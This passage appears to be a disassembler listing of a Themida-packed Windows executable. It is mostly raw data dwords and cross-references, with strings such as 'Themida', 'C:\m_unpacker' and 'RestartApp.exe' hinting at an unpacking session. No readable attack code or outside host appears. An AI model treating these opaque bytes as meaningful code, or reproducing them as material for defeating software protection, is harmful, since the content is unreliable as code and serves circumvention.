dd 0C4888424h, 33171305h, 0F97B01EFh, 63A41634h, 0C60F00F8h
dd 44E1F89Dh, 893500FFh, 27B97FE7h, 0A20941CDh, 813AAB9Fh
dd 90D8402Ch, 0C8EB6453h, 0E91ACD5h, 0CFC0F819h, 85F93900h
dd 0F54C3516h, 5E748270h, 0EB0643Ah, 2FFB31C9h, 6E7A5480h
dd 411DABEFh, 7CA4A8ACh, 49C82914h, 0B33984C8h, 0EE4124B4h
dd 46F400A3h, 13AC1D14h, 723937CFh, 753C8262h, 0C0825154h
dd 0BB0500h, 0EA60B95Fh, 3EC506ADh, 0A0D61F2Dh, 8B15A944h
dd 0A7710058h, 0ADD6746h, 0BE4CCEB6h, 1D7F3B4Dh, 73098ED5h
dd 0C41090EAh, 2C8048Ch, 0D2AB8694h, 8862A2A8h, 0EE2C7010h
dd 1572D300h, 643CBDBAh, 6D87144Bh, 0FF13E8F1h, 80B86421h
dd 6549B110h, 0C491B0BAh, 990B5583h, 0A0CFDB75h, 0C0D251A8h
dd 35F93189h, 0C1A33337h, 153F8022h, 0BC726188h, 79B5F276h
dd 3CFB1E47h, 21B0AC80h, 65C2053Ch, 703CC0BDh, 56506D78h
dd 0B94E8C24h, 88387800h, 4C738626h, 8380D4F3h, 0F80C9BBAh
dd 0C104A576h, 0F2737D3Ch, 60B32CB4h, 3F494936h, 401D13E8h
dd 340CA8D7h, 5C4881F2h, 535A3CB7h, 4713A8h, 9F11FF54h
dd 94A03CB8h, 618942B5h, 87007C69h, 58672034h, 490EBF27h
dd 81751EAAh, 590185CBh, 7E56088Ah, 72F703D0h, 9911D3E9h
dd 1678B9EAh, 0D5B383ABh, 30A0118h, 0CC56BA54h, 59FA7BF5h
dd 0E942B00h, 0F5A2983h, 0BDA51C67h, 0EE51C55Dh, 2CA277h
dd 3F7442FAh, 0B3C543Ah, 0BB654F23h, 9E00E444h, 0EF25ACB9h
dd 22034Bh, 18DA893Ah, 3CC934ADh, 264E073Dh, 2175092h
dd 0FC331002h, 90982967h, 7E0BEB5Ch, 68D5E52Fh, 3FF366BCh
dd 0D7879028h, 0D0B27505h, 83A6BC91h, 0FE92A500h, 0FF015657h
dd 0E9E8903Ah, 0E8A5E2D6h, 61E573B4h, 0FD5B61DEh, 80A83857h
dd 0E4E5179h, 55400B2h
dd 0A5DF7BC2h, 1AEE45AEh, 811BD11Ch, 0A4C0F064h, 804D0143h
dd 0D0137331h, 4C0762A8h, 0E3304FFh, 529FE974h, 0A2005033h
dd 49899DF5h, 87505525h, 9084BBFCh, 0FB5B1200h, 0E59CC857h
dd 0C300CCB8h, 65CBF250h, 1ED28304h, 47A77985h, 0D6354DDDh
dd 0E80E615Fh, 658BA89Eh, 50C01559h, 7D4BEE9Ah, 1DA0B806h
dd 2496ABE9h, 558A3AC0h, 685974h, 30365CA6h, 203FF45h
dd 0B035A3Bh, 0CA2189B7h, 501C4E0h, 0A4B549CEh, 0D1D42051h
dd 7A097D97h, 0EA98409h, 2DFDA1A4h, 13CBB63Ch, 564FE10h
dd 2045B82Dh, 33A915C4h, 0F020C85Bh, 17C2796h, 25D42ADh
dd 3DD6123Dh, 0E46E01CCh, 0D5A2FCE6h, 0A5E7330h, 0F435327Fh
dd 2516007Ch, 31AFDEA9h, 2274245Ch, 0D72C2CF0h, 0C6FA4000h
dd 0A00089CAh, 0D67597B3h, 0CDD586h, 8F25A866h, 353A28FFh
dd 0CB4160B4h, 70780456h, 64C50D89h, 3C8E740h, 667802CCh
dd 43EC23BFh, 0B3F3E898h, 15E5CB00h, 4A2C206Eh, 0DEEE006Ah
dd 3E147D38h, 4C01BE5Ch, 9BD2C0D9h, 3CE0A5E8h, 90FF825h
dd 33C1FA92h, 5CB6880h, 0AC48E85Dh, 45F2C090h, 369D46Bh
dd 5F8FAAA5h, 0ECD88507h, 0E0162E4h, 8BED54C8h, 0D1946C60h
dd 73AD2Ch, 0E82B57Dh, 0A19C46FCh, 8F29B812h, 0E8905C37h
dd 388855A9h, 82BB4DBAh, 8C5FD514h, 1657EC80h, 511F77F2h
dd 2300E3C4h, 0B578E63Fh, 9A181E1Dh, 414EC90h, 8C4D83ADh
dd 230E67BCh, 0C0C436D3h, 9A31FCB2h, 6343873h, 17B04600h
dd 56CC64CEh, 2FEF40Bh, 3A3C07D0h, 2D853D77h, 27F40CCh
dd 81F34758h, 0A6276B61h, 0FF1E0130h, 6E347351h, 0D9EC1977h
dd 2E011381h, 154CCF05h, 0ADD4BCEFh, 0F06F1628h, 2454CC8Ah
dd 4AFF5A39h, 6C1C7185h, 22F29800h, 9160C935h, 0A2E58018h
dd 0D9D2B9E9h, 3300E876h, 0BF2C3A03h, 1779B65Ch, 0C9816616h
dd 603461E0h, 0CE02A2DAh, 0D4CCE17Bh, 39D040A3h, 34B151h
dd 141D93CAh, 33FAB242h, 0B9BC103h, 0E85EE1B1h, 0E783B9h
dd 569A8536h, 8628C952h, 84AFB826h, 25450301h, 68726089h
dd 0F06A600h, 350A63FBh, 0E20B767Ch, 297488h, 2301035Ch
dd 0EA8200B1h, 8BF25199h, 72EA43Fh, 7F605052h, 0E4C344h
dd 946DEFCDh, 0F68915BFh, 0E38D802h, 0C0DDA017h, 4C8646BCh
dd 48227481h, 0B32CFE17h, 0FF994090h, 74300CACh, 45289412h
dd 163CD08Ah, 2051AB84h, 1F676C40h, 78F49900h, 0A52BCD5Dh
dd 0CFE2000Ah, 24D831D9h, 742E5186h, 80C9AC58h, 0EA05B908h
dd 73AE0AD1h, 4CCD395h, 0C00E565Bh, 40BDCB48h, 0C17A1E28h
dd 80A45258h, 9AABD19Ch, 0DA2B1CECh, 6182C541h, 76A4417Ah
dd 0D4A69209h, 8C00ABA5h, 9CF69F67h, 0B30B11h, 0DC5B6522h
dd 0FD56B9AFh, 0F3AE58h, 0D804EF36h, 0B8B8448Bh, 0E03912E0h
dd 0C154C42Ah, 116BFF88h, 54725774h, 17DA5D01h, 4460DDB0h
dd 621C140h, 0D039F184h, 9000E364h, 0EE58776Bh, 4F2832F3h
dd 0BB4C2022h, 1800C8FBh, 0DD814375h, 2D8A44B2h, 9490AF4Ch
dd 61EE9D0h, 5C401F75h, 536E0DB7h, 0B85E008Ah, 8DD546E2h
dd 8C5058C7h, 289CEC9Ch, 3DF9A440h, 617E263Bh, 71470Ch
dd 2C5E1FD7h, 31645800h, 0BC6D402Bh, 0F0C8006Fh, 0B636E509h
dd 0F8BC6A74h, 8C432945h, 0C1D4FC5Fh, 1832512Ah, 95F61903h
dd 0E5E0CF6Ah, 8D00E22Bh, 3977547Ah, 251BD40h, 29B9C1A6h
dd 0FFC04489h, 0A100CCC8h, 353FBE49h, 0B6973C12h, 4C1027F0h
dd 8A908ED8h, 2D7F6B00h, 200EBF89h, 0A72805C8h, 0B4520FACh
dd 9F0F6FDCh, 0E0E99EF7h, 0CD8616ABh, 94F204h, 5C21BD52h
dd 8E91E2DCh, 1C91A01h, 96A24D84h, 39DFF1F0h, 204BE879h
dd 0EA2FCD2Ch, 1168A38h, 0D6D95430h, 0FBC95394h, 98575C20h
dd 61E8A238h, 0B91248A0h, 2D0AFC50h, 645E5C0Ch, 0A2294980h
dd 4BBAFC9h, 80D6DA78h, 0A1A48019h, 64A899A9h, 0FBF6EB9Ah
dd 827B2500h, 730230FEh, 21E46BE0h, 993EAC44h, 0DA5C00CAh
dd 944505B8h, 4371264Eh, 0CF7603F9h, 5D9AEBE3h, 5BD6D880h
dd 0F1256410h, 2480C2C9h, 0EA4067B4h, 875C06A2h, 6266B90Fh
dd 5EA7E054h, 952E7022h, 0A9684890h, 1C85B901h, 7B5BA741h
dd 8D0A4850h, 49EF002Fh, 0AA8C33DAh, 1060C382h, 0E43EB526h
dd 63C70950h, 0C048F334h, 0FE009ACBh, 7826D71h, 1F565311h
dd 74DC5Fh, 0C04CC910h, 7D001454h, 0E19E085Ch, 1A83973h
dd 22BEAAE8h, 6DD73CB7h, 2D1F1650h, 50428F03h, 0CBE9B8F5h
dd 90A4E483h, 7310172Ch, 0B24024EDh, 0D91400F4h, 3C03C390h
dd 657B0074h, 0ECE320B1h, 0D24B1A36h, 6FF1D820h, 0E1320045h
dd 0DD715446h, 0C1017B70h, 65DF9504h, 0CBE8C44Dh, 86BC0FADh
dd 0E3856824h, 94F40284h, 48C4FA33h, 0A7F6E0C5h, 6500D8F2h
dd 0B1608551h, 8D009895h, 68EA966Fh, 7EE022h, 0DA4140BFh
dd 0A8EEB5E4h, 0ED827409h, 7FF044A7h, 0D2D80090h, 3A6183ECh
dd 0FA5A346Dh, 530D3C30h, 0C43C18DCh, 0A904404Ch, 0E03DAF7Ch
dd 5228054Bh, 30F11DA3h, 0FFF8E0CEh, 94B3523Bh, 0DCF03601h
dd 0F4D6C047h, 0BC790B2Bh, 0C6C37200h, 54BF3015h, 8F9A03E4h
dd 9582B86Bh, 8100ECF3h, 6CA54169h, 12D755F6h, 0A02833C7h
dd 61F690D8h, 8D017CB9h, 0D942942Ah, 0F46026F9h, 0B93188DFh
dd 0EAB84009h, 3FCD1B6h, 985B462Ah, 7452A4D8h, 0FC19212Ch
dd 18026911h, 6C632E0Eh, 921DA4D9h, 4993F580h, 988E3156h
dd 0D02F1CF8h, 39781A33h, 4A00F066h, 9D3B60C2h, 2A6AC1h
dd 0DED4443Fh, 0BC7C887Ah, 0C526621Dh, 0E9A725C0h, 911D20E3h
dd 50D080ACh, 0CC4A52BFh, 99331401h, 40B3518h, 0A0402030h
dd 0F829DDCCh, 0C8F70156h, 0FB06B27h, 572085D6h, 0ACC0CA1Ch
dd 907D9740h, 84790900h, 0BC189619h, 0F977DC6Eh, 0A16F0700h
dd 0D55E8041h, 949038D6h, 7392B783h, 80DCF8F6h, 618DAC44h
dd 7DC7944h, 32E1C0D4h, 4D7620F7h, 0D60B503h, 0B8CD1A62h
dd 0B6A5023Ch, 607BDDBDh, 4FE480C4h, 8E029000h, 2C0B338Ch
dd 4E88B624h, 80C30A05h, 0E3BE48DBh, 0FF4B3400h, 1FB4781Ch
dd 37C9008Fh, 97B2F1E2h, 5830B93Ah, 0E83DF01Dh, 0A37809Ch
dd 90518A28h, 6F260F12h, 4D024C02h, 4FC060B5h, 57A4A02Ch
dd 28E903Ah, 9E776C7Dh, 40F03B56h, 615B4AEEh, 95452840h
dd 40B5DEh, 0C21DC52Fh, 2AA1A5F1h, 115A3C02h, 62B7A3B6h
dd 15CE4E8h, 1931B9B5h, 17686118h, 0FAFCEE00h, 0F92700E5h
dd 2026DF77h, 2B1356A9h, 790108B9h, 0D3BE025Ch, 0A079002Fh
dd 0E79F22BDh, 0BC8F5124h, 0CBA7FE00h, 0F0103A85h, 0BB0B161h
dd 35FCAF8Eh, 5613341Fh, 86A80090h, 2C5514D3h, 0D2004460h
dd 0C6CEBE13h, 0DA3AC488h, 735F0911h, 0B42890F3h, 0EE41C131h
dd 0E8041750h, 0C503AE26h, 0F83FF0B1h, 9EE7A851h, 0EAD902E2h
dd 0CC23E393h, 0FFFF0197h, 0DBh
db 3 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53C7BF: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_53FB14
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dd 6D138EFCh, 5A4DFCh, 0F8AE71AAh, 4 dup(0)
dd 3A0h, 3 dup(0)
dd 9F69DDh, 3 dup(0)
dd 240000Ch, 0
dd 9FFA56h, 0Bh dup(0)
dd 7FFE0304h, 5 dup(0)
dd offset asc_5BBAFE ; "ллллллллллллллллллллллллллллллллллллллл"...
align 10h
dd 77D4C96Ah, 0FFA88A42h, 6 dup(0)
dd 0ADB1CAh, 4 dup(0)
dd 0FB082886h, 2 dup(0)
dd 7FFA090Ch, 5 dup(0)
dd 5E8h, 20h dup(0)
dd 9F69DDh, 0A3A5E7h, 0
dd offset dword_53CB38
dd 6 dup(0)
dd 0FFA74DFCh, 4 dup(0)
dd 0EE8h, 0
dd offset dword_56FEC0
dd 5 dup(0)
dd offset dword_53E1C0
dd 5 dup(0)
dd offset byte_594533
dd 0FFFFFF80h, 0F88CA801h, 2 dup(0)
dd 6FE0h, 2 dup(0)
dd 783Fh, 0Fh dup(0)
dd 0A17316h, 7FFE0304h, 0FE00CFEDh, 7 dup(0)
dd 10DDFh, 0
dd 1959823Ch, 4 dup(0)
dd 0FFFFFFFEh, 0Ah dup(0)
aCycw db 'cyГw',0
align 2
db 'X',0
dd 0
dd offset dword_52F848+7DBh
dd 5 dup(0)
dd offset byte_56C991
align 10h
dd 0F905090h, 2 dup(0)
dd 0FC7Fh, 3 dup(0)
dd offset dword_52F848+7DBh
dd 0Dh dup(0)
dd offset dword_5ABBF8
align 10h
dd 0D402h, 2 dup(0)
dd 710451BCh, 9F69DDh, 5 dup(0)
dword_53CB38 dd 6 dup(0) ; DATA XREF: Themida_:0053C948o
; Themida_:0053DA64o
dd 15E351C0h, 0
dd 783Fh, 0Bh dup(0)
dd 6FE0h, 5775BEh, 4 dup(0)
dd 0FEC12C46h, 8 dup(0)
aLGIy db '╚ш"┐ж┴Y',0
dd 11h dup(0)
aGaj0us db 'ё─╕м0НS',0
dd 4 dup(0)
dd 0A0h, 2 dup(0)
dd 3240h, 0F440245Bh, 4 dup(0)
dd offset dword_586464
dd 0
dd offset dword_582624
dd 0
dd offset dword_5893E4
dd 2 dup(0)
dd offset dword_574E38
dd 5 dup(0)
dd 25BFFFFh, 2 dup(0)
dd offset dword_52F848+7B8h
dd 0
dd offset word_5B3196
dd 77DD5ECCh, 0FFFF5CF7h, 2 dup(0)
dd 0DF6D68h, 9F9393h, 7 dup(0)
dd 9F69DDh, 3 dup(0)
dd 1, 0
dd 667F6926h, 1, 9F6CB0h, 9F8C0Ah, 5 dup(0)
dd offset word_5775BE
dd 6 dup(0)
dd offset dword_5985A8
dd 4 dup(0)
dd 5B05h, 0
dd 0AFA1FEh, 77E60000h, 2 dup(0)
aZasw db 'zAХw',0
align 4
dd offset word_574BFE
dd 77E60000h, 5 dup(0)
dd 8D9Dh, 2 dup(0)
dd 1F0C0h, 0
dd offset dword_5AF940
align 10h
dd 74h, 0FEA00050h, 10h dup(0)
dd offset byte_581725
dd 0Dh dup(0)
aJCw db '├дГw',0
align 4
dd 5 dup(0)
dd 0FFFFAFE7h, 6 dup(0)
dd offset word_590242
dd 0B60000h, 0FDF821B8h, 56FEE8h, 60h, 2 dup(0)
aNnT db '██{▓',0
align 4
dd offset dword_53F3B8
dd 4 dup(0)
dd 77F5180Bh, 3 dup(0)
dd 0FFFFFFA0h, 9FA00Fh, 5 dup(0)
dd offset byte_57F3D9
dd 4 dup(0)
dd 304h, 2 dup(0)
dd 2590000h, 0EBDE04EBh, 4 dup(0)
dd 188828h, 9F2292h, 0FFFFFFFFh, 6B780CF1h, 3 dup(0)
dd offset byte_57DA4B
align 8
dd 6FE0h, 2 dup(0)
dd 1000h, 56F71Ch, 0Ch dup(0)
dd offset dword_5B3228
dd 9F09F7h, 0B0E9h, 5 dup(0)
dd 0FE500050h, 2 dup(0)
dd 9FA037h, 0
dd 0AAE41C3Fh, 98h, 0
dd 0FF0799B4h, 5 dup(0)
dd 0A280105h, 0
dd 9F2BDEh, 3 dup(0)
dd 9F6CB0h, 0
a0I db 'ъ0е╘',0
align 4
dd 9 dup(0)
dd 13CE9h, 9 dup(0)
dd 80h, 0
aBJa db '│>J═',0
align 4
dd 6 dup(0)
dd 7FFE0304h, 30DFh, 2 dup(0)
dd offset aA_2 ; "`aб\b"
dd 3 dup(0)
dd 0FFA80000h, 2 dup(0)
dd 77F50000h, 0
dd offset dword_580000
align 10h
dd 1, 0
dd 2A721FC9h, 77DD59F0h, 5B05h, 2 dup(0)
a6666 db '6666',0
align 4
dd 9 dup(0)
dd offset asc_5BBAFE+0D55h
dd 2Ch dup(0)
aCw db '╣\Гw',0
align 4
dd 5 dup(0)
aCc db 'ъФФ[',0
align 10h
dd 3 dup(0)
dd 0FFA80000h, 2 dup(0)
dd 77F7EBB3h, 5 dup(0)
dd offset byte_5A422F
align 10h
dd 0A8h, 57A3DBh, 2 dup(0)
dd 1, 2 dup(0)
dd 77EB87F2h, 4 dup(0)
aHkj db 'h╙J=',0
align 4
dd 168016E7h, 2F6C3Fh, 1, 0
dd 440FB346h, 6 dup(0)
dd 1, 9 dup(0)
aVlcwz? db '┌▀Гw╖?э<',0
align 4
dd 12h dup(0)
aKh db 'ш╧kH',0
align 4
dd 0
dd offset byte_57F3D9
aSjiw db 'И╕Кw',0
align 4
dd 16h dup(0)
dd 7FFE0304h, 2 dup(0)
dd offset dword_575B94
dd 0
dd 25BF9FEh, 2 dup(0)
dd 0FFFF992Ch, 6 dup(0)
dd offset word_578BD6
dd 7 dup(0)
dd 28B0000h, 1, 5 dup(0)
dd 90h, 4 dup(0)
dd offset word_5B3196
dd 0
dd 0FF524E36h, 2 dup(0)
dd 1, 8 dup(0)
dd offset dword_52F848+7DBh
align 10h
dd 35F234D7h, 3 dup(0)
dd offset dword_580000
dd 2 dup(0)
dd 801DD2C4h, 2 dup(0)
dd 77DD189Ah, 0
dd 9F0001h, 3C600h, 2 dup(0)
dd 1, 57E34Bh, 8 dup(0)
dd offset byte_57C4E3
align 10h
dd 86D8061Bh, 3 dup(0)
dd offset dword_580000
dd 11h dup(0)
dd 4, 2A721FC9h, 6 dup(0)
dd 99E9h, 0
dd 939Eh, 2 dup(0)
dd 0FFFFFDFFh, 0
dd 2400000h, 3 dup(0)
dd 12FF54h, 56FF10h, 77FF01F8h, 0
dd 1, 9E0FE6h, 4 dup(0)
dd 7FFE0304h, 6 dup(0)
dd 9E0000h, 2 dup(0)
dd 0FFFFBFBBh, 5 dup(0)
dd 77E7A5FDh, 76B41B40h, 4F7h, 0Dh dup(0)
dd offset word_574BFE
dd 0
dd 0FFFF9CFAh, 4 dup(0)
aS_5 db 'шИ',8,'-',0
align 10h
dd 0
dd 6FAE9h, 0Eh dup(0)
dd 0FFFFFFFEh, 5733BFh, 53EE31h, 0
dd 85h, 4 dup(0)
dd 70h, 0
dd offset word_57DA46
dd 0
aJW db 'jитw',0
align 4
dd 2 dup(0)
dd 2486B9Ch, 24242424h, 6 dup(0)
dd 17E64B7h, 0
dd offset byte_57F3D9
dd 4 dup(0)
aXste db '∙▒▓e',0
align 4
dd 18FFFB0h, 2 dup(0)
dd 0A01568h, 3 dup(0)
dd 6B2559Bh, 3 dup(0)
dd 77E805D8h, 4 dup(0)
dd 50DA7DF4h, 1Bh dup(0)
dd 9F8C0Ah, 9F69DDh, 0Dh dup(0)
dd 67h, 2 dup(0)
dd 2165243Fh, 540586h, 8 dup(0)
dd 1, 3 dup(0)
dd 8A0FB5E2h, 6940h, 4 dup(0)
dd 0A023E8h, 0Bh dup(0)
dd 66C8h, 0
dd offset byte_595B05
dd 7184h, 5 dup(0)
dd 77D40000h, 2 dup(0)
dd 7FFE0304h, 9F69DDh, 3 dup(0)
dd 0FFBFFE28h, 0Fh dup(0)
dd 32B032Bh, 3 dup(0)
dd 0AD0000h, 4 dup(0)
dd 982633A9h, 77E80618h, 0
dd offset dword_4E3354+6CFh
dd 5 dup(0)
dd 9F9C37h, 595B05h, 0
dd 0FFFF9AC0h, 0
dd 0FFA8A46Ch, 4 dup(0)
dd offset byte_588495
dd 0
dd offset byte_5408CF
dd 0
dd offset byte_5AADC9
align 10h
dd 7Ch, 2 dup(0)
dd 970850FEh, 7 dup(0)
dd 2Bh, 4 dup(0)
dd offset byte_5A95E9
dd 5 dup(0)
dd 0FE000050h, 4 dup(0)
db '""""""""',0
align 2
db 'X',0
dd 0
aTa db 'Ta╟у',0
align 4
dd offset dword_58FF94
align 10h
dd 0FFEEFFDDh, 5 dup(0)
aYjaa db 'yj²─',0
align 10h
dd offset word_5637E2
dd 1BE000h, 596AE5h, 0
dd 0FFFF9FB8h, 5 dup(0)
aCpcwf db 'Г╞Гw■',0
align 10h
dd 0
dd 667F6926h, 5 dup(0)
dd offset dword_59456C
dd 0
dd 8A0FB5E2h, 5704AAh, 2 dup(0)
dd 38h, 2 dup(0)
dd 4, 4 dup(0)
dd offset dword_53CB38
dd 0
dd 2580000h, 57939Eh, 78h, 0FF605FF1h, 2 dup(0)
dd 5B94h, 2 dup(0)
dd 0FFA88706h, 2 dup(0)
dd 2590000h, 5061F86Fh, 12FFE0h, 57F5FFh, 4 dup(0)
aNL db '█$>L',0
align 4
dd 4 dup(0)
dd offset word_5B3196
align 10h
aSsm db 'sИM╪',0
align 4
dd 3 dup(0)
dd 81FBFD9h, 0A9C530DFh, 12FFC4h, 0
dd 0FFFF87C1h, 2 dup(0)
dd 84h, 2 dup(0)
dd 0FFCh, 3 dup(0)
dd offset byte_5A4BC9
dd 4 dup(0)
dd 7FFE0304h, 5 dup(0)
dd 1, 58C267h, 0
dd 6FE0h, 6 dup(0)
dd offset byte_5ABBA9
dd offset byte_5874B9
align 10h
dd 4, 0Bh dup(0)
dd offset dword_5A00DC
align 8
dd 6FE0h, 0FFF4C2CFh, 8 dup(0)
aThemida db 'Themida',0
dd 1Ch dup(0)
dd offset dword_5AAD2C
dd 6 dup(0)
aBk db 'B┼йю',0
align 4
dd 5 dup(0)
dd 0A1B134h, 3 dup(0)
dd 1647CA77h, 3 dup(0)
dd offset word_57A45E
align 10h
dd 39h, 7 dup(0)
dd 8Ch, 2 dup(0)
aLs db '╚≤- ',0
align 4
dd 0B3h dup(0)
dd 9F03A0h, 77EB87F2h, 2 dup(0)
dd 99E9h, 0
dd 99E9h, 3 dup(0)
dd offset aYQrs+2
dd 7 dup(0)
dd 9F3E3Bh, 0C2E0000h, 3 dup(0)
dd 0FF606EA5h, 0EA323Ch, 3 dup(0)
dd 3F9F8h, 7FFE0304h, 0
dd 0ECh, 7 dup(0)
dd offset byte_5737F7
dword_53E070 dd 3B4h, 2 dup(7FFE0304h), 2 dup(0) ; DATA XREF: Themida_:0053F174o
aSsm_0 db 'sИM╪',0
align 4
dd 4 dup(0)
dd 9FA00Fh, 2 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 0F5AFFFFAh, 3 dup(0)
dd 0FFFFAFE7h, 2 dup(0)
dd 0FFFF9818h, 2 dup(0)
dd 0FFF13A41h, 4 dup(0)
aMbp db '#M│p',0
align 4
dd 0
dd 464F889h, 2 dup(0)
dd 77E7AC5Eh, 0FF1EC207h, 2DB02A30h, 14h dup(0)
dd 3F11700Eh, 3 dup(0)
dd offset sub_401000
dd 0
dd 1, 3 dup(0)
dd 0EC69B1Ah, 4 dup(0)
dd 0FF5Ch, 3 dup(0)
dd 0AAE41C3Fh, 0
dd offset aLS ; "`▀\\$$Х"
dd 493Fh
dword_53E1C0 dd 2, 5B3196h, 0 ; DATA XREF: Themida_:0053C998o
dd 0FFFFFFFFh, 2 dup(0)
aVlcwV db '┌▀ГwьйV',0
dd 8 dup(0)
dd offset byte_570023
align 8
dd 9EB168h, 575990h, 5 dup(0)
dd offset dword_576920
dd 0
dd offset word_5B3196
dd 16h dup(0)
dd offset word_59BA4E
align 10h
dd 10947275h, 0
dd offset byte_5B438D
dd 0Dh dup(0)
dd 9F5E2Eh, 0
dd 0A17FD8h, 2 dup(0)
dd 36000h, 7 dup(0)
dd 6BAAh, 77E76A2Eh, 3 dup(0)
dd 7FFE0304h, 5 dup(0)
dd 0EBDE04EBh, 5 dup(0)
dd 0A944h, 84h dup(0)
dd 0E80h, 4 dup(0)
dd 32597F5Dh, 3 dup(0)
dd 1, 6 dup(0)
dd 7FFE0304h, 6 dup(0)
dd 144F2BCFh, 8 dup(0)
aQD db '^О╩╓',0
align 2
db 'X',0
aD_2:
unicode 0, <╓>,0
dd 0
a?bcw db '?║Гw',0
align 4
dd 2 dup(0)
dd offset dword_53F634
dd 23FFFD3Fh, 8 dup(0)
dd 9F3145h, 6 dup(0)
dd 0A022D8h, 578BD6h, 1C1D3h, 7FFE0304h, 3 dup(0)
dd offset dword_591150
dd 4 dup(0)
dd 0A19BACh, 0Ch dup(0)
a5c2 db 'ъ5√2',0
align 10h
dd 68F7AF02h, 0
a0I_0 db 'ъ0е╘',0
align 10h
dd 3 dup(0)
dd 9F69DDh, 6 dup(0)
dd 0A07BF3h, 0Ah dup(0)
dd 7FFE0304h, 3 dup(0)
dd 4D3F46FCh, 9F50EBh, 0
dd 9F70C4h, 4 dup(0)
dd 49E94410h, 3 dup(0)
dd 9ED554h, 6 dup(0)
dd 6564A7Ah, 4 dup(0)
a7gC db '7gй√',0
align 4
dd offset byte_599649
dd 80000219h, 0
dd 6FE0h, 67h, 0
dd 90EB8FFEh, 2 dup(0)
dd 12FFA4h, 7C6C8D8Dh, 9FA00Fh, 77F50000h, 4 dup(0)
dd 5B4410A2h, 3 dup(0)
dd 0FFFF5B5Dh, 77E82168h, 4 dup(0)
dd 0ACh, 3 dup(0)
dd offset word_590782
align 10h
dd offset byte_57C2E3
align 10h
dd 7C7C01F5h, 199h, 4 dup(0)
dd 8001FCFCh, 10h dup(0)
dd offset byte_584375
dd 0
dd 102D673Ch, 3 dup(0)
dd 7D1h, 3 dup(0)
dd 5B05h, 3 dup(0)
dd offset byte_5A81BD
dd 0Ch dup(0)
dd 0A17FD8h, 0FFFF9A08h, 3 dup(0)
dd 6, 0
dd 0FFFFFFFCh, 3 dup(0)
dd 0A03268h, 0
dd 0A28h, 3 dup(0)
dd 0ACh, 8 dup(0)
dd 6FE0h, 3 dup(0)
dd 7FFE0304h, 199h, 7E2387DFh, 16h dup(0)
aZii db 'Zi┴╩',0
align 10h
dd 0FEC647FEh, 7995F7ABh, 0
dd offset dword_4DE000
dd 2 dup(0)
dd 77DD23D7h, 1, 5 dup(0)
aAd db '─D/#',0
align 4
dd 2 dup(0)
dd 0FFA80C27h, 9 dup(0)
aVcw db 'мvГw',0
align 4
dd offset dword_580000
dd 0A03268h, 0
dd offset byte_584375
dd 0AF84CAh, 0
dd 21212121h, 590C3Bh, 0Fh dup(0)
dd 0A01560h, 3 dup(0)
dd 0E0014h, 0A022D8h, 6 dup(0)
dd 7FFE0304h, 0
dd 400000h, 4 dup(0)
a041 db '04-1',0
align 10h
aHSwVcw db 'h>ХwмvГw',0
align 4
aDbcw db 'D║Гw',0
align 8
a0I_1 db 'ъ0е╘',0
align 10h
dd 0
dd offset word_574BFE
align 10h
dd 2 dup(7FFE0304h), 2 dup(0)
dd offset dword_575B94
dd 2 dup(0)
dd offset dword_580000
dd 2 dup(0)
dd offset byte_595B05
dd 4 dup(0)
aCM_unpacker db 'C:\m_unpacker',0
align 4
dd 7Eh dup(0)
dd offset dword_575B94
dd 5 dup(0)
dd 77E8360Ch, 0
dd 0AE4BF6E3h, 0
dd 38E5014Dh, 77E7AFE7h, 6 dup(0)
dd 70564EF2h, 0
dd 2, 3 dup(0)
dd 746Ch, 1FCFC331h, 6 dup(0)
dd 0FF50290Fh, 88h, 5B4410A2h, 0
dd 0D0000h, 5781D6h, 5 dup(0)
dd offset word_5836EE
dd 6Ch dup(0)
dd 17A47DB0h, 3 dup(0)
dd 28B0756h, 2 dup(0)
dd 0FF4F7916h, 4 dup(0)
dd offset word_590E26
dd offset dword_5AEB50
dd 3 dup(0)
dd offset dword_580000
dd 6 dup(0)
dd 13DE0263h, 1, 27870940h, 0
dd 0FFAC1F90h, 6 dup(0)
dd offset dword_52F848+7DBh
align 8
dd 581Ch, 25A0000h, 5 dup(0)
dd 6FE0h, 0Bh dup(0)
dd 0A03154h, 2 dup(0)
dd 1F453038h, 8 dup(0)
dd 400E9h, 0
aN_0 db '█╦Ё/',0
align 4
dd 4 dup(0)
dd 12FFF0h, 7FFE0304h, 6 dup(0)
dd 1014h, 0
dd 0C285C2B7h, 77E6D706h, 5A454Bh, 7 dup(0)
dd 7FFE0304h, 7 dup(0)
dd offset dword_53E070
dd 1434h, 0
dd 0E057CBF0h, 7 dup(0)
dd 1014h, 77DD0000h, 0
a@V db '@',1Bh,'╢v',0
align 4
dd 2 dup(0)
dd 9F69DDh, 4 dup(0)
dd 9F69DDh, 3 dup(0)
dd 7C6C8D8Dh, 1, 0
dd offset dword_5AF940
dd 0
dd 7FFE0304h, 10h dup(0)
dd 512006CBh, 6 dup(0)
dd 12FF54h, 5944D6h, 540122h, 8 dup(0)
dd 1DF75C87h, 0
dd 0B5D638AEh, 12FF54h, 0
dd 15E30000h, 0
dd 0A39995h, 1DFC32D7h, 8 dup(0)
dd offset word_575BA6
dd 60EBh, 5 dup(0)
dd 9F9499h, 40000h, 0Ch dup(0)
dd 11111111h, 4DFCh, 0E7E5h, 5ABBA9h, 77E82FE8h, 6 dup(0)
dd 7FFE0304h, 9F915Bh, 4 dup(0)
dd 0FFFFBAC9h, 0Ah dup(0)
dd 0FFED005Ch, 0D8h, 3 dup(0)
dd 77E75CB5h, 9FA00Fh, 9F9234h, 4 dup(0)
dword_53F3B8 dd 0A01568h, 4Ah, 30DFh, 9 dup(0) ; DATA XREF: Themida_:0053CE6Co
dd 881853A2h, 0Dh dup(0)
aUfB db 'НД╪B',0
align 4
dd 6 dup(0)
dd 0FF4C2882h, 77E7A144h, 535536EBh, 0
dd 7719CFAh, 540122h, 5B3AD6h, 6 dup(0)
dd 0E7E5h, 2 dup(0)
aRestartapp_exe db 'RestartApp.exe',0
align 10h
dd 0Dh dup(0)
dd offset byte_5A47EB
dd 0A38D53h, 60CD3CBDh, 575B94h, 0
dd 6FE0h, 0
aSacw db '≥═Гw',0
align 10h
unicode 0, <°>,0
dd 0FA4CC7BFh, 0DD000h, 4 dup(0)
dd 25B0000h, 0
dd 0FFFED0E0h, 3 dup(0)
dd offset byte_5834BB
align 10h
dd offset dword_575B94
align 10h
dd 0FFFF87C1h, 2Ch dup(0)
